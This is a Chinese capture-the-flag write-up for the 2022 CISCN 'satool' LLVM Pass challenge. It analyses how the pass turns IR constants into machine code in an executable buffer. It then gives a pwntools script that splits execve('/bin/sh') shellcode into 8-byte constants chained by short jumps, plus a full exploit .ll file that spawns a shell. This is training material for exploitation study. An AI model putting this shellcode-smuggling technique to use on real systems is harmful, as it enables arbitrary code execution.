2022CISCN-satool
作者:互联网
2022CISCN-satool
打国赛的时候自己还并不了解LLVM PASS pwn
,前几天正好学习了一下LLVM PASS pwn
,于是就顺便来复现一下这道题目。
首先找到二进制文件的重写函数的主体并对其进行分析。
开始就是限制了函数的参数和基本块的个数必须为1
。
然后是先把一块区域变成可写可执行,并通过handle
函数对IR
进行处理。再把这一块区域变成可读可执行,并通过callCode
对IR
进行处理。我们先去看handle
部分的代码。
handle
里首先获取了第一个操作数,然后判断是否是一个常数,如果是则进入if
语句当中。这个if
里的代码会先获取这个常数的数值,然后用writeMovImm64
对其进行处理。其代码如下:
可以看到这个函数的作用是向某个地址写入10个字节
。可能是\x48\xBB....
也可能是\x48\xB8....
。我们可以用python
去生成一下,发现得到的是mov rax, xxxx
或者mov rbx, xxx
。我们回到上面一层。结合起来看就是写入mov rax, Operand
。接着会用writeRet
对其进行处理。其代码如下:
可以看到这个函数的作用是写\xC3
,也就是ret
所对应的字节码。返回上一层,我们可以直到这个if
里语句的作用就是写入mov rax, Operand; ret;
。接着我们继续向下看:
下面接着的else if
的主体和上面类似,只是判断是第一个操作数是否为一个参数,如果是则进入else if
中。接着我们看else
里的代码:
这里首先写入mov rax, 0
,并且实例化了两个TLS Stack对象
。接着会有一个while
循环:
如果*(this+5)<v30
则进入循环,而这里的v30 = *((_QWORD *)this + 4) + 0xFF0LL
,也就是开始写入字节的地方+0xFF0
处。如果v26栈的大小==0
,则写入一个ret
并且退出循环。
接着从栈顶弹出一个值,并且将其转化为二元运算符,如果不能转化为二元运算符,那么就会报错并且退出。
由下面这个if
语句的判断我们可以看出,这个二元运算符应该是加号或者减号,如果不是则会退出。
接着获取第一个操作数和第二个操作数,这里可以判断出对应二元运算符的两个操作数。判断第一个操作数是否为常数并且是否为+1(-1)
,如果是则调用writeInc
,其代码如下:
其作用是向里面写入三个字节,对应的汇编代码是inc rax
或者dec rax
。如果为常数,但不是+1(-1)
,那么就会调用writeMovImm64
和writeOpReg
,其中writeOpReg
的代码如下:
其作用是写入三个字节,对应的汇编代码是add rax, rbx
或者sub rax, rbx
。如果是参数,那么就会使得*((_DWORD *)this + 12) += v22
,否则就会进入else
,也就是将v20和v22
都push
进栈。接着是对v21
的判断,与上述类似。
然后我们返回上一层继续分析。
改变权限后我们进入callCode
。
这里就是把this[4]
当作为一个函数去执行。看到这里我们想能否通过handle
函数去写入shellcode
,然后再通过错位再调用callCode
去执行我们的shellcode
。但是要注意的是我们的shellcode
不连续,最多一次写入8字节
,并且其中还要有shellcode
使得其可以连续执行,于是我们就想到了短跳转指令
。
我们写脚本来得到我们所需要的shellcode
:
from pwn import *
context.arch='amd64'
s = b'\x90\x90\x90\x90\x90\x90\xEB\xEB'
print(disasm(s))
print(u64(s))
shellcode = [
"mov eax, 0x68732f",
"shl rax, 0x20",
"add rax, 0x6e69622f",
"push rax",
"mov rdi, rsp",
"xor rsi, rsi",
"xor rdx, rdx",
"push 59",
"pop rax",
"syscall"
]
for code in shellcode:
bytes = asm(code).ljust(6, b'\x90') + b'\xEB\xEB' # \xEB\xEB: jmp short ptr -19
print(u64(bytes))
再通过调试得到我们的exp.ll
:
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @test(i64 %0) #0 {
%2 = add nsw i64 %0, 16999840169015152640
%3 = add nsw i64 %2, 1
%4 = add nsw i64 %3, 1
%5 = add nsw i64 %4, 256
%6 = add nsw i64 %5, 256
%7 = add nsw i64 %6, 256
%8 = add nsw i64 %7, 256
%9 = add nsw i64 %8, 256
%10 = add nsw i64 %9, 256
%11 = add nsw i64 %10, 256
%12 = add nsw i64 %11, 256
%13 = add nsw i64 %12, 256
%14 = add nsw i64 %13, 256
%15 = add nsw i64 %14, 256
%16 = add nsw i64 %15, 256
%17 = add nsw i64 %16, 256
%18 = add nsw i64 %17, 256
%19 = add nsw i64 %18, 256
%20 = add nsw i64 %19, 256
%21 = add nsw i64 %20, 256
%22 = add nsw i64 %21, 256
%23 = add nsw i64 %22, 256
%24 = add nsw i64 %23, 256
%25 = add nsw i64 %24, 256
%26 = add nsw i64 %25, 256
%27 = add nsw i64 %26, 256
%28 = add nsw i64 %27, 256
%29 = add nsw i64 %28, 256
%30 = add nsw i64 %29, 256
%31 = add nsw i64 %30, 256
%32 = add nsw i64 %31, 256
%33 = add nsw i64 %32, 256
%34 = add nsw i64 %33, 256
%35 = add nsw i64 %34, 256
%36 = add nsw i64 %35, 256
%37 = add nsw i64 %36, 256
%38 = add nsw i64 %37, 256
%39 = add nsw i64 %38, 256
%40 = add nsw i64 %39, 256
%41 = add nsw i64 %40, 256
%42 = add nsw i64 %41, 256
%43 = add nsw i64 %42, 256
%44 = add nsw i64 %43, 256
%45 = add nsw i64 %44, 256
%46 = add nsw i64 %45, 256
%47 = add nsw i64 %46, 256
%48 = add nsw i64 %47, 256
%49 = add nsw i64 %48, 256
%50 = add nsw i64 %49, 256
%51 = add nsw i64 %50, 256
%52 = add nsw i64 %51, 256
%53 = add nsw i64 %52, 256
%54 = add nsw i64 %53, 256
%55 = add nsw i64 %54, 256
%56 = add nsw i64 %55, 256
%57 = add nsw i64 %56, 256
%58 = add nsw i64 %57, 256
%59 = add nsw i64 %58, 256
%60 = add nsw i64 %59, 256
%61 = add nsw i64 %60, 256
%62 = add nsw i64 %61, 256
%63 = add nsw i64 %62, 256
%64 = add nsw i64 %63, 256
%65 = add nsw i64 %64, 256
%66 = add nsw i64 %65, 256
%67 = add nsw i64 %66, 256
%68 = add nsw i64 %67, 256
%69 = add nsw i64 %68, 256
%70 = add nsw i64 %69, 256
%71 = add nsw i64 %70, 256
%72 = add nsw i64 %71, 256
%73 = add nsw i64 %72, 256
%74 = add nsw i64 %73, 256
%75 = add nsw i64 %74, 256
%76 = add nsw i64 %75, 256
%77 = add nsw i64 %76, 256
%78 = add nsw i64 %77, 256
%79 = add nsw i64 %78, 256
%80 = add nsw i64 %79, 256
%81 = add nsw i64 %80, 256
%82 = add nsw i64 %81, 256
%83 = add nsw i64 %82, 256
%84 = add nsw i64 %83, 256
%85 = add nsw i64 %84, 256
%86 = add nsw i64 %85, 256
%87 = add nsw i64 %86, 256
%88 = add nsw i64 %87, 256
%89 = add nsw i64 %88, 256
%90 = add nsw i64 %89, 256
%91 = add nsw i64 %90, 256
%92 = add nsw i64 %91, 256
%93 = add nsw i64 %92, 256
%94 = add nsw i64 %93, 256
%95 = add nsw i64 %94, 256
%96 = add nsw i64 %95, 256
%97 = add nsw i64 %96, 256
%98 = add nsw i64 %97, 256
%99 = add nsw i64 %98, 256
%100 = add nsw i64 %99, 256
%101 = add nsw i64 %100, 256
%102 = add nsw i64 %101, 256
%103 = add nsw i64 %102, 256
%104 = add nsw i64 %103, 256
%105 = add nsw i64 %104, 256
%106 = add nsw i64 %105, 256
%107 = add nsw i64 %106, 256
%108 = add nsw i64 %107, 256
%109 = add nsw i64 %108, 256
%110 = add nsw i64 %109, 256
%111 = add nsw i64 %110, 256
%112 = add nsw i64 %111, 256
%113 = add nsw i64 %112, 256
%114 = add nsw i64 %113, 256
%115 = add nsw i64 %114, 256
%116 = add nsw i64 %115, 256
%117 = add nsw i64 %116, 256
%118 = add nsw i64 %117, 256
%119 = add nsw i64 %118, 256
%120 = add nsw i64 %119, 256
%121 = add nsw i64 %120, 256
%122 = add nsw i64 %121, 256
%123 = add nsw i64 %122, 256
%124 = add nsw i64 %123, 256
%125 = add nsw i64 %124, 256
%126 = add nsw i64 %125, 256
%127 = add nsw i64 %126, 256
%128 = add nsw i64 %127, 256
%129 = add nsw i64 %128, 256
%130 = add nsw i64 %129, 256
%131 = add nsw i64 %130, 256
%132 = add nsw i64 %131, 256
%133 = add nsw i64 %132, 256
%134 = add nsw i64 %133, 256
%135 = add nsw i64 %134, 256
%136 = add nsw i64 %135, 256
%137 = add nsw i64 %136, 256
%138 = add nsw i64 %137, 256
%139 = add nsw i64 %138, 256
%140 = add nsw i64 %139, 256
%141 = add nsw i64 %140, 256
%142 = add nsw i64 %141, 256
%143 = add nsw i64 %142, 256
%144 = add nsw i64 %143, 256
%145 = add nsw i64 %144, 256
%146 = add nsw i64 %145, 256
%147 = add nsw i64 %146, 256
%148 = add nsw i64 %147, 256
%149 = add nsw i64 %148, 256
%150 = add nsw i64 %149, 256
%151 = add nsw i64 %150, 256
%152 = add nsw i64 %151, 256
%153 = add nsw i64 %152, 256
%154 = add nsw i64 %153, 256
%155 = add nsw i64 %154, 256
%156 = add nsw i64 %155, 256
%157 = add nsw i64 %156, 256
%158 = add nsw i64 %157, 256
%159 = add nsw i64 %158, 256
%160 = add nsw i64 %159, 256
%161 = add nsw i64 %160, 256
%162 = add nsw i64 %161, 256
%163 = add nsw i64 %162, 256
%164 = add nsw i64 %163, 256
%165 = add nsw i64 %164, 256
%166 = add nsw i64 %165, 256
%167 = add nsw i64 %166, 256
%168 = add nsw i64 %167, 256
%169 = add nsw i64 %168, 256
%170 = add nsw i64 %169, 256
%171 = add nsw i64 %170, 256
%172 = add nsw i64 %171, 256
%173 = add nsw i64 %172, 256
%174 = add nsw i64 %173, 256
%175 = add nsw i64 %174, 256
%176 = add nsw i64 %175, 256
%177 = add nsw i64 %176, 256
%178 = add nsw i64 %177, 256
%179 = add nsw i64 %178, 256
%180 = add nsw i64 %179, 256
%181 = add nsw i64 %180, 256
%182 = add nsw i64 %181, 256
%183 = add nsw i64 %182, 256
%184 = add nsw i64 %183, 256
%185 = add nsw i64 %184, 256
%186 = add nsw i64 %185, 256
%187 = add nsw i64 %186, 256
%188 = add nsw i64 %187, 256
%189 = add nsw i64 %188, 256
%190 = add nsw i64 %189, 256
%191 = add nsw i64 %190, 256
%192 = add nsw i64 %191, 256
%193 = add nsw i64 %192, 256
%194 = add nsw i64 %193, 256
%195 = add nsw i64 %194, 256
%196 = add nsw i64 %195, 256
%197 = add nsw i64 %196, 256
%198 = add nsw i64 %197, 256
%199 = add nsw i64 %198, 256
%200 = add nsw i64 %199, 256
%201 = add nsw i64 %200, 256
%202 = add nsw i64 %201, 256
%203 = add nsw i64 %202, 256
%204 = add nsw i64 %203, 256
%205 = add nsw i64 %204, 256
%206 = add nsw i64 %205, 256
%207 = add nsw i64 %206, 256
%208 = add nsw i64 %207, 256
%209 = add nsw i64 %208, 256
%210 = add nsw i64 %209, 256
%211 = add nsw i64 %210, 256
%212 = add nsw i64 %211, 256
%213 = add nsw i64 %212, 256
%214 = add nsw i64 %213, 256
%215 = add nsw i64 %214, 256
%216 = add nsw i64 %215, 256
%217 = add nsw i64 %216, 256
%218 = add nsw i64 %217, 256
%219 = add nsw i64 %218, 256
%220 = add nsw i64 %219, 256
%221 = add nsw i64 %220, 256
%222 = add nsw i64 %221, 256
%223 = add nsw i64 %222, 256
%224 = add nsw i64 %223, 256
%225 = add nsw i64 %224, 256
%226 = add nsw i64 %225, 256
%227 = add nsw i64 %226, 256
%228 = add nsw i64 %227, 256
%229 = add nsw i64 %228, 256
%230 = add nsw i64 %229, 256
%231 = add nsw i64 %230, 256
%232 = add nsw i64 %231, 256
%233 = add nsw i64 %232, 256
%234 = add nsw i64 %233, 256
%235 = add nsw i64 %234, 256
%236 = add nsw i64 %235, 256
%237 = add nsw i64 %236, 256
%238 = add nsw i64 %237, 256
%239 = add nsw i64 %238, 256
%240 = add nsw i64 %239, 256
%241 = add nsw i64 %240, 256
%242 = add nsw i64 %241, 256
%243 = add nsw i64 %242, 256
%244 = add nsw i64 %243, 256
%245 = add nsw i64 %244, 256
%246 = add nsw i64 %245, 256
%247 = add nsw i64 %246, 256
%248 = add nsw i64 %247, 256
%249 = add nsw i64 %248, 256
%250 = add nsw i64 %249, 256
%251 = add nsw i64 %250, 256
%252 = add nsw i64 %251, 256
%253 = add nsw i64 %252, 256
%254 = add nsw i64 %253, 256
%255 = add nsw i64 %254, 256
%256 = add nsw i64 %255, 256
%257 = add nsw i64 %256, 256
%258 = add nsw i64 %257, 256
%259 = add nsw i64 %258, 256
%260 = add nsw i64 %259, 256
%261 = add nsw i64 %260, 256
%262 = add nsw i64 %261, 256
%263 = add nsw i64 %262, 256
%264 = add nsw i64 %263, 256
%265 = add nsw i64 %264, 256
%266 = add nsw i64 %265, 256
%267 = add nsw i64 %266, 256
%268 = add nsw i64 %267, 256
%269 = add nsw i64 %268, 256
%270 = add nsw i64 %269, 256
%271 = add nsw i64 %270, 256
%272 = add nsw i64 %271, 256
%273 = add nsw i64 %272, 256
%274 = add nsw i64 %273, 256
%275 = add nsw i64 %274, 256
%276 = add nsw i64 %275, 256
%277 = add nsw i64 %276, 256
%278 = add nsw i64 %277, 256
%279 = add nsw i64 %278, 256
%280 = add nsw i64 %279, 256
%281 = add nsw i64 %280, 256
%282 = add nsw i64 %281, 256
%283 = add nsw i64 %282, 256
%284 = add nsw i64 %283, 256
%285 = add nsw i64 %284, 256
%286 = add nsw i64 %285, 256
%287 = add nsw i64 %286, 256
%288 = add nsw i64 %287, 256
%289 = add nsw i64 %288, 256
%290 = add nsw i64 %289, 256
%291 = add nsw i64 %290, 256
%292 = add nsw i64 %291, 256
%293 = add nsw i64 %292, 256
%294 = add nsw i64 %293, 256
%295 = add nsw i64 %294, 256
%296 = add nsw i64 %295, 256
%297 = add nsw i64 %296, 256
%298 = add nsw i64 %297, 256
%299 = add nsw i64 %298, 256
%300 = add nsw i64 %299, 256
%301 = add nsw i64 %300, 256
%302 = add nsw i64 %301, 256
%303 = add nsw i64 %302, 256
%304 = add nsw i64 %303, 256
%305 = add nsw i64 %304, 256
%306 = add nsw i64 %305, 256
%307 = add nsw i64 %306, 256
%308 = add nsw i64 %307, 256
%309 = add nsw i64 %308, 256
%310 = add nsw i64 %309, 256
%311 = add nsw i64 %310, 256
%312 = add nsw i64 %311, 256
%313 = add nsw i64 %312, 256
%314 = add nsw i64 %313, 256
%315 = add nsw i64 %314, 256
%316 = add nsw i64 %315, 256
ret i64 %316
}
define dso_local i64 @test2(i64 %0) #0 {
%2 = sub nsw i64 %0, 1
%3 = add nsw i64 %2, 1
%4 = add nsw i64 %3, 1
%5 = add nsw i64 %4, 16999840169015152784
%6 = add nsw i64 %5, 16999839549866848184
%7 = add nsw i64 %6, 16999840167141359944
%8 = add nsw i64 %7, 16999802617337939272
%9 = add nsw i64 %8, 16999840169015152720
%10 = add nsw i64 %9, 16999840169020852552
%11 = add nsw i64 %10, 16999840169021813064
%12 = add nsw i64 %11, 16999840169019453768
%13 = add nsw i64 %12, 16999840169015130986
%14 = add nsw i64 %13, 16999840169015152728
%15 = add nsw i64 %14, 16999840169015117071
%16 = add nsw i64 %15, 256
%17 = add nsw i64 %16, 256
%18 = add nsw i64 %17, 256
%19 = add nsw i64 %18, 256
%20 = add nsw i64 %19, 256
%21 = add nsw i64 %20, 256
%22 = add nsw i64 %21, 256
%23 = add nsw i64 %22, 256
%24 = add nsw i64 %23, 256
%25 = add nsw i64 %24, 256
%26 = add nsw i64 %25, 256
%27 = add nsw i64 %26, 256
%28 = add nsw i64 %27, 256
%29 = add nsw i64 %28, 256
%30 = add nsw i64 %29, 256
%31 = add nsw i64 %30, 256
%32 = add nsw i64 %31, 256
%33 = add nsw i64 %32, 256
%34 = add nsw i64 %33, 256
%35 = add nsw i64 %34, 256
%36 = add nsw i64 %35, 256
%37 = add nsw i64 %36, 256
%38 = add nsw i64 %37, 256
%39 = add nsw i64 %38, 256
%40 = add nsw i64 %39, 256
%41 = add nsw i64 %40, 256
%42 = add nsw i64 %41, 256
%43 = add nsw i64 %42, 256
%44 = add nsw i64 %43, 256
%45 = add nsw i64 %44, 256
%46 = add nsw i64 %45, 256
%47 = add nsw i64 %46, 256
%48 = add nsw i64 %47, 256
%49 = add nsw i64 %48, 256
%50 = add nsw i64 %49, 256
%51 = add nsw i64 %50, 256
%52 = add nsw i64 %51, 256
%53 = add nsw i64 %52, 256
%54 = add nsw i64 %53, 256
%55 = add nsw i64 %54, 256
%56 = add nsw i64 %55, 256
%57 = add nsw i64 %56, 256
%58 = add nsw i64 %57, 256
%59 = add nsw i64 %58, 256
%60 = add nsw i64 %59, 256
%61 = add nsw i64 %60, 256
%62 = add nsw i64 %61, 256
%63 = add nsw i64 %62, 256
%64 = add nsw i64 %63, 256
%65 = add nsw i64 %64, 256
%66 = add nsw i64 %65, 256
%67 = add nsw i64 %66, 256
%68 = add nsw i64 %67, 256
%69 = add nsw i64 %68, 256
%70 = add nsw i64 %69, 256
%71 = add nsw i64 %70, 256
%72 = add nsw i64 %71, 256
%73 = add nsw i64 %72, 256
%74 = add nsw i64 %73, 256
%75 = add nsw i64 %74, 256
%76 = add nsw i64 %75, 256
%77 = add nsw i64 %76, 256
%78 = add nsw i64 %77, 256
%79 = add nsw i64 %78, 256
%80 = add nsw i64 %79, 256
%81 = add nsw i64 %80, 256
%82 = add nsw i64 %81, 256
%83 = add nsw i64 %82, 256
%84 = add nsw i64 %83, 256
%85 = add nsw i64 %84, 256
%86 = add nsw i64 %85, 256
%87 = add nsw i64 %86, 256
%88 = add nsw i64 %87, 256
%89 = add nsw i64 %88, 256
%90 = add nsw i64 %89, 256
%91 = add nsw i64 %90, 256
%92 = add nsw i64 %91, 256
%93 = add nsw i64 %92, 256
%94 = add nsw i64 %93, 256
%95 = add nsw i64 %94, 256
%96 = add nsw i64 %95, 256
%97 = add nsw i64 %96, 256
%98 = add nsw i64 %97, 256
%99 = add nsw i64 %98, 256
%100 = add nsw i64 %99, 256
%101 = add nsw i64 %100, 256
%102 = add nsw i64 %101, 256
%103 = add nsw i64 %102, 256
%104 = add nsw i64 %103, 256
%105 = add nsw i64 %104, 256
%106 = add nsw i64 %105, 256
%107 = add nsw i64 %106, 256
%108 = add nsw i64 %107, 256
%109 = add nsw i64 %108, 256
%110 = add nsw i64 %109, 256
%111 = add nsw i64 %110, 256
%112 = add nsw i64 %111, 256
%113 = add nsw i64 %112, 256
%114 = add nsw i64 %113, 256
%115 = add nsw i64 %114, 256
%116 = add nsw i64 %115, 256
%117 = add nsw i64 %116, 256
%118 = add nsw i64 %117, 256
%119 = add nsw i64 %118, 256
%120 = add nsw i64 %119, 256
%121 = add nsw i64 %120, 256
%122 = add nsw i64 %121, 256
%123 = add nsw i64 %122, 256
%124 = add nsw i64 %123, 256
%125 = add nsw i64 %124, 256
%126 = add nsw i64 %125, 256
%127 = add nsw i64 %126, 256
%128 = add nsw i64 %127, 256
%129 = add nsw i64 %128, 256
%130 = add nsw i64 %129, 256
%131 = add nsw i64 %130, 256
%132 = add nsw i64 %131, 256
%133 = add nsw i64 %132, 256
%134 = add nsw i64 %133, 256
%135 = add nsw i64 %134, 256
%136 = add nsw i64 %135, 256
%137 = add nsw i64 %136, 256
%138 = add nsw i64 %137, 256
%139 = add nsw i64 %138, 256
%140 = add nsw i64 %139, 256
%141 = add nsw i64 %140, 256
%142 = add nsw i64 %141, 256
%143 = add nsw i64 %142, 256
%144 = add nsw i64 %143, 256
%145 = add nsw i64 %144, 256
%146 = add nsw i64 %145, 256
%147 = add nsw i64 %146, 256
%148 = add nsw i64 %147, 256
%149 = add nsw i64 %148, 256
%150 = add nsw i64 %149, 256
%151 = add nsw i64 %150, 256
%152 = add nsw i64 %151, 256
%153 = add nsw i64 %152, 256
%154 = add nsw i64 %153, 256
%155 = add nsw i64 %154, 256
%156 = add nsw i64 %155, 256
%157 = add nsw i64 %156, 256
%158 = add nsw i64 %157, 256
%159 = add nsw i64 %158, 256
%160 = add nsw i64 %159, 256
%161 = add nsw i64 %160, 256
%162 = add nsw i64 %161, 256
%163 = add nsw i64 %162, 256
%164 = add nsw i64 %163, 256
%165 = add nsw i64 %164, 256
%166 = add nsw i64 %165, 256
%167 = add nsw i64 %166, 256
%168 = add nsw i64 %167, 256
%169 = add nsw i64 %168, 256
%170 = add nsw i64 %169, 256
%171 = add nsw i64 %170, 256
%172 = add nsw i64 %171, 256
%173 = add nsw i64 %172, 256
%174 = add nsw i64 %173, 256
%175 = add nsw i64 %174, 256
%176 = add nsw i64 %175, 256
%177 = add nsw i64 %176, 256
%178 = add nsw i64 %177, 256
%179 = add nsw i64 %178, 256
%180 = add nsw i64 %179, 256
%181 = add nsw i64 %180, 256
%182 = add nsw i64 %181, 256
%183 = add nsw i64 %182, 256
%184 = add nsw i64 %183, 256
%185 = add nsw i64 %184, 256
%186 = add nsw i64 %185, 256
%187 = add nsw i64 %186, 256
%188 = add nsw i64 %187, 256
%189 = add nsw i64 %188, 256
%190 = add nsw i64 %189, 256
%191 = add nsw i64 %190, 256
%192 = add nsw i64 %191, 256
%193 = add nsw i64 %192, 256
%194 = add nsw i64 %193, 256
%195 = add nsw i64 %194, 256
%196 = add nsw i64 %195, 256
%197 = add nsw i64 %196, 256
%198 = add nsw i64 %197, 256
%199 = add nsw i64 %198, 256
%200 = add nsw i64 %199, 256
%201 = add nsw i64 %200, 256
%202 = add nsw i64 %201, 256
%203 = add nsw i64 %202, 256
%204 = add nsw i64 %203, 256
%205 = add nsw i64 %204, 256
%206 = add nsw i64 %205, 256
%207 = add nsw i64 %206, 256
%208 = add nsw i64 %207, 256
%209 = add nsw i64 %208, 256
%210 = add nsw i64 %209, 256
%211 = add nsw i64 %210, 256
%212 = add nsw i64 %211, 256
%213 = add nsw i64 %212, 256
%214 = add nsw i64 %213, 256
%215 = add nsw i64 %214, 256
%216 = add nsw i64 %215, 256
%217 = add nsw i64 %216, 256
%218 = add nsw i64 %217, 256
%219 = add nsw i64 %218, 256
%220 = add nsw i64 %219, 256
%221 = add nsw i64 %220, 256
%222 = add nsw i64 %221, 256
%223 = add nsw i64 %222, 256
%224 = add nsw i64 %223, 256
%225 = add nsw i64 %224, 256
%226 = add nsw i64 %225, 256
%227 = add nsw i64 %226, 256
%228 = add nsw i64 %227, 256
%229 = add nsw i64 %228, 256
%230 = add nsw i64 %229, 256
%231 = add nsw i64 %230, 256
%232 = add nsw i64 %231, 256
%233 = add nsw i64 %232, 256
%234 = add nsw i64 %233, 256
%235 = add nsw i64 %234, 256
%236 = add nsw i64 %235, 256
%237 = add nsw i64 %236, 256
%238 = add nsw i64 %237, 256
%239 = add nsw i64 %238, 256
%240 = add nsw i64 %239, 256
%241 = add nsw i64 %240, 256
%242 = add nsw i64 %241, 256
%243 = add nsw i64 %242, 256
%244 = add nsw i64 %243, 256
%245 = add nsw i64 %244, 256
%246 = add nsw i64 %245, 256
%247 = add nsw i64 %246, 256
%248 = add nsw i64 %247, 256
%249 = add nsw i64 %248, 256
%250 = add nsw i64 %249, 256
%251 = add nsw i64 %250, 256
%252 = add nsw i64 %251, 256
%253 = add nsw i64 %252, 256
%254 = add nsw i64 %253, 256
%255 = add nsw i64 %254, 256
%256 = add nsw i64 %255, 256
%257 = add nsw i64 %256, 256
%258 = add nsw i64 %257, 256
%259 = add nsw i64 %258, 256
%260 = add nsw i64 %259, 256
%261 = add nsw i64 %260, 256
%262 = add nsw i64 %261, 256
%263 = add nsw i64 %262, 256
%264 = add nsw i64 %263, 256
%265 = add nsw i64 %264, 256
%266 = add nsw i64 %265, 256
%267 = add nsw i64 %266, 256
%268 = add nsw i64 %267, 256
%269 = add nsw i64 %268, 256
%270 = add nsw i64 %269, 256
%271 = add nsw i64 %270, 256
%272 = add nsw i64 %271, 256
%273 = add nsw i64 %272, 256
%274 = add nsw i64 %273, 256
%275 = add nsw i64 %274, 256
%276 = add nsw i64 %275, 256
%277 = add nsw i64 %276, 256
%278 = add nsw i64 %277, 256
%279 = add nsw i64 %278, 256
%280 = add nsw i64 %279, 256
%281 = add nsw i64 %280, 256
%282 = add nsw i64 %281, 256
%283 = add nsw i64 %282, 256
%284 = add nsw i64 %283, 256
%285 = add nsw i64 %284, 256
%286 = add nsw i64 %285, 256
%287 = add nsw i64 %286, 256
%288 = add nsw i64 %287, 256
%289 = add nsw i64 %288, 256
%290 = add nsw i64 %289, 256
%291 = add nsw i64 %290, 256
%292 = add nsw i64 %291, 256
%293 = add nsw i64 %292, 256
%294 = add nsw i64 %293, 256
%295 = add nsw i64 %294, 256
%296 = add nsw i64 %295, 256
%297 = add nsw i64 %296, 256
%298 = add nsw i64 %297, 256
%299 = add nsw i64 %298, 256
%300 = add nsw i64 %299, 256
%301 = add nsw i64 %300, 256
%302 = add nsw i64 %301, 256
%303 = add nsw i64 %302, 256
%304 = add nsw i64 %303, 256
%305 = add nsw i64 %304, 256
%306 = add nsw i64 %305, 256
%307 = add nsw i64 %306, 256
%308 = add nsw i64 %307, 256
%309 = add nsw i64 %308, 256
%310 = add nsw i64 %309, 256
%311 = add nsw i64 %310, 256
%312 = add nsw i64 %311, 256
%313 = add nsw i64 %312, 256
%314 = add nsw i64 %313, 256
%315 = add nsw i64 %314, 256
%316 = add nsw i64 %315, 1
%317 = add nsw i64 %316, 1
%318 = add nsw i64 %317, 1
%319 = add nsw i64 %318, 1
%320 = add nsw i64 %319, 1
%321 = add nsw i64 %320, 1
ret i64 %321
}
attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}
成功getshell
:
标签:i64,satool,add,64,2022CISCN,256,rax,nsw 来源: https://www.cnblogs.com/pwnfeifei/p/16576367.html